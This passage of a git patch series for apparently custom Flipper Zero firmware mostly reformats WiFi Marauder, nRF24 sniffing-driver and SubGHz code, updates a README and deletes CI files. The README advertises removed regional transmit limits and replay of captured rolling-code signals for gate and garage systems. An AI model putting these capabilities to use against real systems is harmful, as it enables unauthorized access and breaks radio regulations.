@@ static void wifi_marauder_scene_start_var_list_enter_callback(void* context, uin app->is_custom_tx_string = false; app->selected_menu_index = index; app->focus_console_start = items[index].focus_console_start; - if (items[index].needs_keyboard) { + if(items[index].needs_keyboard) { view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartKeyboard); } else { view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartConsole); @@ -70,7 +70,7 @@ void wifi_marauder_scene_start_on_enter(void* context) { var_item_list, wifi_marauder_scene_start_var_list_enter_callback, app); // TODO: organize menu - for (int i = 0; i < NUM_MENU_ITEMS; ++i) { + for(int i = 0; i < NUM_MENU_ITEMS; ++i) { variable_item_list_add(var_item_list, items[i].item_string, 0, NULL, NULL); } @@ -86,11 +86,13 @@ bool wifi_marauder_scene_start_on_event(void* context, SceneManagerEvent event) bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - if (event.event == WifiMarauderEventStartKeyboard) { - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); + if(event.event == WifiMarauderEventStartKeyboard) { + scene_manager_set_scene_state( + app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); scene_manager_next_scene(app->scene_manager, WifiMarauderAppViewTextInput); - } else if (event.event == WifiMarauderEventStartConsole) { - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); + } else if(event.event == WifiMarauderEventStartConsole) { + scene_manager_set_scene_state( + app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); scene_manager_next_scene(app->scene_manager, WifiMarauderAppViewConsoleOutput); } consumed = true; diff --git a/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c index eb77ebb6c..d4e7020d7 100644 --- a/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c +++ b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c @@ -1,6 +1,5 @@ #include "../wifi_marauder_app_i.h" - void wifi_marauder_scene_text_input_callback(void* context) { WifiMarauderApp* app = context; @@ -10,7 +9,7 @@ void wifi_marauder_scene_text_input_callback(void* context) { void wifi_marauder_scene_text_input_on_enter(void* context) { WifiMarauderApp* app = context; - if (false == app->is_custom_tx_string) { + if(false == app->is_custom_tx_string) { // Fill text input with selected string so that user can add to it size_t length = strlen(app->selected_tx_string); furi_assert(length < WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE); @@ -19,14 +18,20 @@ void wifi_marauder_scene_text_input_on_enter(void* context) { // Add space - because flipper keyboard currently doesn't have a space app->text_input_store[length] = ' '; - app->text_input_store[length+1] = '\0'; + app->text_input_store[length + 1] = '\0'; app->is_custom_tx_string = true; } // Setup view TextInput* text_input = app->text_input; text_input_set_header_text(text_input, "Add command arguments"); - text_input_set_result_callback(text_input, wifi_marauder_scene_text_input_callback, app, app->text_input_store, WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE, false); + text_input_set_result_callback( + text_input, + wifi_marauder_scene_text_input_callback, + app, + app->text_input_store, + WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE, + false); view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewTextInput); } @@ -35,8 +40,8 @@ bool wifi_marauder_scene_text_input_on_event(void* context, SceneManagerEvent ev WifiMarauderApp* app = context; bool consumed = false; - if (event.type == SceneManagerEventTypeCustom) { - if (event.event == WifiMarauderEventStartConsole) { + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == WifiMarauderEventStartConsole) { // Point to custom string to send app->selected_tx_string = app->text_input_store; scene_manager_next_scene(app->scene_manager, WifiMarauderAppViewConsoleOutput); diff --git a/applications/wifi_marauder_companion/wifi_marauder_app.c b/applications/wifi_marauder_companion/wifi_marauder_app.c index 506e89b10..76a802d8a 100644 --- a/applications/wifi_marauder_companion/wifi_marauder_app.c +++ b/applications/wifi_marauder_companion/wifi_marauder_app.c @@ -47,12 +47,14 @@ WifiMarauderApp* wifi_marauder_app_alloc() { variable_item_list_get_view(app->var_item_list)); app->text_box = text_box_alloc(); - view_dispatcher_add_view(app->view_dispatcher, WifiMarauderAppViewConsoleOutput, text_box_get_view(app->text_box)); + view_dispatcher_add_view( + app->view_dispatcher, WifiMarauderAppViewConsoleOutput, text_box_get_view(app->text_box)); string_init(app->text_box_store); string_reserve(app->text_box_store, WIFI_MARAUDER_TEXT_BOX_STORE_SIZE); app->text_input = text_input_alloc(); - view_dispatcher_add_view(app->view_dispatcher, WifiMarauderAppViewTextInput, text_input_get_view(app->text_input)); + view_dispatcher_add_view( + app->view_dispatcher, WifiMarauderAppViewTextInput, text_input_get_view(app->text_input)); scene_manager_next_scene(app->scene_manager, WifiMarauderSceneStart); diff --git a/applications/wifi_marauder_companion/wifi_marauder_uart.c b/applications/wifi_marauder_companion/wifi_marauder_uart.c index 6297ea83b..a7dc26e8b 100644 --- a/applications/wifi_marauder_companion/wifi_marauder_uart.c +++ b/applications/wifi_marauder_companion/wifi_marauder_uart.c @@ -10,8 +10,8 @@ struct WifiMarauderUart { WifiMarauderApp* app; FuriThread* rx_thread; StreamBufferHandle_t rx_stream; - uint8_t rx_buf[RX_BUF_SIZE+1]; - void (*handle_rx_data_cb)(uint8_t *buf, size_t len, void* context); + uint8_t rx_buf[RX_BUF_SIZE + 1]; + void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context); }; typedef enum { @@ -19,7 +19,9 @@ typedef enum { WorkerEvtRxDone = (1 << 1), } WorkerEvtFlags; -void wifi_marauder_uart_set_handle_rx_data_cb(WifiMarauderUart* uart, void (*handle_rx_data_cb)(uint8_t *buf, size_t len, void* context)) { +void wifi_marauder_uart_set_handle_rx_data_cb( + WifiMarauderUart* uart, + void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)) { furi_assert(uart); uart->handle_rx_data_cb = handle_rx_data_cb; } @@ -48,10 +50,9 @@ static int32_t uart_worker(void* context) { furi_check((events & FuriFlagError) == 0); if(events & WorkerEvtStop) break; if(events & WorkerEvtRxDone) { - size_t len = - xStreamBufferReceive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0); + size_t len = xStreamBufferReceive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0); if(len > 0) { - if (uart->handle_rx_data_cb) uart->handle_rx_data_cb(uart->rx_buf, len, uart->app); + if(uart->handle_rx_data_cb) uart->handle_rx_data_cb(uart->rx_buf, len, uart->app); } } } @@ -61,12 +62,12 @@ static int32_t uart_worker(void* context) { return 0; } -void wifi_marauder_uart_tx(uint8_t *data, size_t len) { +void wifi_marauder_uart_tx(uint8_t* data, size_t len) { furi_hal_uart_tx(UART_CH, data, len); } WifiMarauderUart* wifi_marauder_uart_init(WifiMarauderApp* app) { - WifiMarauderUart *uart = malloc(sizeof(WifiMarauderUart)); + WifiMarauderUart* uart = malloc(sizeof(WifiMarauderUart)); furi_hal_console_disable(); furi_hal_uart_set_br(UART_CH, BAUDRATE); diff --git a/applications/wifi_marauder_companion/wifi_marauder_uart.h b/applications/wifi_marauder_companion/wifi_marauder_uart.h index 85dd7ee08..e38c18dd2 100644 --- a/applications/wifi_marauder_companion/wifi_marauder_uart.h +++ b/applications/wifi_marauder_companion/wifi_marauder_uart.h @@ -6,7 +6,9 @@ typedef struct WifiMarauderUart WifiMarauderUart; -void wifi_marauder_uart_set_handle_rx_data_cb(WifiMarauderUart* uart, void (*handle_rx_data_cb)(uint8_t *buf, size_t len, void* context)); -void wifi_marauder_uart_tx(uint8_t *data, size_t len); +void wifi_marauder_uart_set_handle_rx_data_cb( + WifiMarauderUart* uart, + void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)); +void wifi_marauder_uart_tx(uint8_t* data, size_t len); WifiMarauderUart* wifi_marauder_uart_init(WifiMarauderApp* app); void wifi_marauder_uart_free(WifiMarauderUart* uart); diff --git a/lib/drivers/nrf24.h b/lib/drivers/nrf24.h index ea0f58377..584eaaea7 100644 --- a/lib/drivers/nrf24.h +++ b/lib/drivers/nrf24.h @@ -7,45 +7,43 @@ extern "C" { #endif -#define R_REGISTER 0x00 -#define W_REGISTER 0x20 -#define REGISTER_MASK 0x1F -#define ACTIVATE 0x50 -#define R_RX_PL_WID 0x60 -#define R_RX_PAYLOAD 0x61 -#define W_TX_PAYLOAD 0xA0 -#define W_TX_PAYLOAD_NOACK 0xB0 -#define W_ACK_PAYLOAD 0xA8 -#define FLUSH_TX 0xE1 -#define FLUSH_RX 0xE2 -#define REUSE_TX_PL 0xE3 -#define RF24_NOP 0xFF +#define R_REGISTER 0x00 +#define W_REGISTER 0x20 +#define REGISTER_MASK 0x1F +#define ACTIVATE 0x50 +#define R_RX_PL_WID 0x60 +#define R_RX_PAYLOAD 0x61 +#define W_TX_PAYLOAD 0xA0 +#define W_TX_PAYLOAD_NOACK 0xB0 +#define W_ACK_PAYLOAD 0xA8 +#define FLUSH_TX 0xE1 +#define FLUSH_RX 0xE2 +#define REUSE_TX_PL 0xE3 +#define RF24_NOP 0xFF -#define REG_CONFIG 0x00 -#define REG_EN_AA 0x01 -#define REG_EN_RXADDR 0x02 -#define REG_SETUP_AW 0x03 -#define REG_SETUP_RETR 0x04 -#define REG_DYNPD 0x1C -#define REG_FEATURE 0x1D -#define REG_RF_SETUP 0x06 -#define REG_STATUS 0x07 -#define REG_RX_ADDR_P0 0x0A -#define REG_RF_CH 0x05 -#define REG_TX_ADDR 0x10 +#define REG_CONFIG 0x00 +#define REG_EN_AA 0x01 +#define REG_EN_RXADDR 0x02 +#define REG_SETUP_AW 0x03 +#define REG_SETUP_RETR 0x04 +#define REG_DYNPD 0x1C +#define REG_FEATURE 0x1D +#define REG_RF_SETUP 0x06 +#define REG_STATUS 0x07 +#define REG_RX_ADDR_P0 0x0A +#define REG_RF_CH 0x05 +#define REG_TX_ADDR 0x10 -#define RX_PW_P0 0x11 -#define TX_DS 0x20 -#define MAX_RT 0x10 +#define RX_PW_P0 0x11 +#define TX_DS 0x20 +#define MAX_RT 0x10 #define nrf24_TIMEOUT 500 #define nrf24_CE_PIN &gpio_ext_pb2 #define nrf24_HANDLE &furi_hal_spi_bus_handle_external - /* Low level API */ - /** Write device register * * @param handle - pointer to FuriHalSpiHandle @@ -56,7 +54,6 @@ extern "C" { */ uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data); - /** Write buffer to device register * * @param handle - pointer to FuriHalSpiHandle @@ -68,7 +65,6 @@ uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data); */ uint8_t nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size); - /** Read device register * * @param handle - pointer to FuriHalSpiHandle @@ -79,7 +75,6 @@ uint8_t nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* d */ uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size); - /** Power up the radio for operation * * @param handle - pointer to FuriHalSpiHandle @@ -88,7 +83,6 @@ uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, */ uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle); - /** Power down the radio * * @param handle - pointer to FuriHalSpiHandle @@ -97,7 +91,6 @@ uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle); */ uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle); - /** Sets the radio to RX mode * * @param handle - pointer to FuriHalSpiHandle @@ -106,7 +99,6 @@ uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle); */ uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle); - /** Sets the radio to TX mode * * @param handle - pointer to FuriHalSpiHandle @@ -121,10 +113,9 @@ uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle); /** Must call this before using any other nrf24 API * - */ + */ void nrf24_init(); - /** Send flush rx command * * @param handle - pointer to FuriHalSpiHandle @@ -141,7 +132,6 @@ uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle); */ uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle); - /** Gets the RX packet length in data pipe 0 * * @param handle - pointer to FuriHalSpiHandle @@ -150,7 +140,6 @@ uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle); */ uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle); - /** Sets the RX packet length in data pipe 0 * * @param handle - pointer to FuriHalSpiHandle @@ -160,7 +149,6 @@ uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle); */ uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len); - /** Gets configured length of MAC address * * @param handle - pointer to FuriHalSpiHandle @@ -212,7 +200,6 @@ uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate); */ uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle); - /** Sets the channel * * @param handle - pointer to FuriHalSpiHandle @@ -222,7 +209,6 @@ uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle); */ uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan); - /** Gets the source mac address * * @param handle - pointer to FuriHalSpiHandle @@ -230,8 +216,7 @@ uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan); * * @return device status */ -uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t *mac); - +uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac); /** Sets the source mac address * @@ -243,7 +228,6 @@ uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t *mac); */ uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size); - /** Gets the dest mac address * * @param handle - pointer to FuriHalSpiHandle @@ -251,8 +235,7 @@ uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t siz * * @return device status */ -uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t *mac); - +uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac); /** Sets the dest mac address * @@ -264,7 +247,6 @@ uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t *mac); */ uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size); - /** Reads RX packet * * @param handle - pointer to FuriHalSpiHandle @@ -274,8 +256,8 @@ uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t siz * * @return device status */ -uint8_t nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full); - +uint8_t + nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full); /** Sends TX packet * @@ -288,7 +270,6 @@ uint8_t nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* pa */ uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack); - /** Configure the radio * This is not comprehensive, but covers a lot of the common configuration options that may be changed * @param handle - pointer to FuriHalSpiHandle @@ -301,7 +282,15 @@ uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t si * @param disable_aa - if true, disable ShockBurst * */ -void nrf24_configure(FuriHalSpiBusHandle* handle, uint8_t rate, uint8_t* srcmac, uint8_t* dstmac, uint8_t maclen, uint8_t channel, bool noack, bool disable_aa); +void nrf24_configure( + FuriHalSpiBusHandle* handle, + uint8_t rate, + uint8_t* srcmac, + uint8_t* dstmac, + uint8_t maclen, + uint8_t channel, + bool noack, + bool disable_aa); /** Configures the radio for "promiscuous mode" and primes it for rx * This is not an actual mode of the nrf24, but this function exploits a few bugs in the chip that allows it to act as if it were. @@ -312,7 +301,6 @@ void nrf24_configure(FuriHalSpiBusHandle* handle, uint8_t rate, uint8_t* srcmac, */ void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate); - /** Listens for a packet and returns first possible address sniffed * Call this only after calling nrf24_init_promisc_mode * @param handle - pointer to FuriHalSpiHandle @@ -336,8 +324,15 @@ bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* a * * @return channel that the address is listening on, if this value is above the max_channel param, it failed */ -uint8_t nrf24_find_channel(FuriHalSpiBusHandle* handle, uint8_t* srcmac, uint8_t* dstmac, uint8_t maclen, uint8_t rate, uint8_t min_channel, uint8_t max_channel, bool autoinit); - +uint8_t nrf24_find_channel( + FuriHalSpiBusHandle* handle, + uint8_t* srcmac, + uint8_t* dstmac, + uint8_t maclen, + uint8_t rate, + uint8_t min_channel, + uint8_t max_channel, + bool autoinit); /** Converts 64 bit value into uint8_t array * @param val - 64-bit integer @@ -346,7 +341,6 @@ uint8_t nrf24_find_channel(FuriHalSpiBusHandle* handle, uint8_t* srcmac, uint8_t */ void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian); - /** Converts 32 bit value into uint8_t array * @param val - 32-bit integer * @param[out] out - bytes out @@ -354,7 +348,6 @@ void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian); */ void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian); - /** Converts uint8_t array into 32 bit value * @param bytes - uint8_t array * @param bigendian - if true, convert as big endian, otherwise little endian diff --git a/lib/subghz/types.h b/lib/subghz/types.h index e4d1cea98..32b70b651 100644 --- a/lib/subghz/types.h +++ b/lib/subghz/types.h @@ -31,8 +31,10 @@ typedef void* (*SubGhzAlloc)(SubGhzEnvironment* environment); typedef void (*SubGhzFree)(void* context); // Serialize and Deserialize -typedef bool ( - *SubGhzSerialize)(void* context, FlipperFormat* flipper_format, SubGhzPresetDefinition* preset); +typedef bool (*SubGhzSerialize)( + void* context, + FlipperFormat* flipper_format, + SubGhzPresetDefinition* preset); typedef bool (*SubGhzDeserialize)(void* context, FlipperFormat* flipper_format); // Decoder specific From a08751af0202db5b0c31c8afb1ad40195ec88e18 Mon Sep 17 00:00:00 2001 From: UberGuidoZ <57457139+UberGuidoZ@users.noreply.github.com> Date: Fri, 29 Jul 2022 09:35:36 -0700 Subject: [PATCH 414/461] Minor grammar changes --- ReadMe.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/ReadMe.md b/ReadMe.md index 7ed38a19d..2564d2e78 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -24,16 +24,16 @@ Our Discord Community:

-# What changed -* SubGHz regional TX restriction removed +# What's changed +* SubGHz regional TX restrictions removed * SubGHz frequecy range can be extended in settings file (Warning: It can damage flipper's hardware) -* Many rolling code protocols now has ability to save & send captured signals +* Many rolling code protocols now have the ability to save & send captured signals * FAAC SLH (Spa) & BFT Mitto (secure with seed) manual creation * Custom community plugins and games added -* Extra SubGHz frequencies + extra mifare classic keys -* Picopass/iClass plugin is included in releases +* Extra SubGHz frequencies + extra Mifare Classic keys +* Picopass/iClass plugin included in releases * Recompiled IR TV Universal Remote for ALL buttons -* Other small fixes and changes +* Other small fixes and changes throughout See changelog in releases for latest updates! @@ -43,7 +43,7 @@ See changelog in releases for latest updates! - CAME Atomo - FAAC SLH (Spa) - BFT Mitto -- Keeloq(+ proper manufacturer codes selection) +- Keeloq (+ proper manufacturer codes selection) - Nice Flor S - SecPlus v1 & v2 - Star Line From 014ca770519c5e15ce6c031efbbaf7ad27619589 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 29 Jul 2022 19:51:17 +0300 Subject: [PATCH 415/461] update docs --- .github/actions/docker/action.yml | 11 - .github/assets/Born2bSportyV2.ttf | Bin 55532 -> 0 bytes .github/assets/latest-firmware-template.png | Bin 19684 -> 0 bytes .github/workflows/build.yml | 214 -------------------- .github/workflows/build_toolchain.yml | 46 ----- .github/workflows/check_submodules.yml | 17 -- .github/workflows/lint_c.yml | 62 ------ .github/workflows/lint_python.yml | 36 ---- .github/workflows/reindex.yml | 15 -- documentation/NRF24.md | 3 + documentation/SentrySafe.md | 2 +- 11 files changed, 4 insertions(+), 402 deletions(-) delete mode 100644 .github/actions/docker/action.yml delete mode 100644 .github/assets/Born2bSportyV2.ttf delete mode 100644 .github/assets/latest-firmware-template.png delete mode 100644 .github/workflows/build.yml delete mode 100644 .github/workflows/build_toolchain.yml delete mode 100644 .github/workflows/check_submodules.yml delete mode 100644 .github/workflows/lint_c.yml delete mode 100644 .github/workflows/lint_python.yml delete mode 100644 .github/workflows/reindex.yml diff --git a/.github/actions/docker/action.yml b/.github/actions/docker/action.yml deleted file mode 100644 index 3608f96e6..000000000 --- a/.github/actions/docker/action.yml +++ /dev/null @@ -1,11 +0,0 @@ -name: 'Run in docker' -inputs: - run: # id of input - description: 'A command to run' - required: true - default: '' -runs: - using: 'docker' - image: '../../../docker/Dockerfile' - args: - - ${{ inputs.run }} diff --git a/.github/assets/Born2bSportyV2.ttf b/.github/assets/Born2bSportyV2.ttf deleted file mode 100644 index 02001782191bb61a6e111d0c10cae154ef9a298f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 55532 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 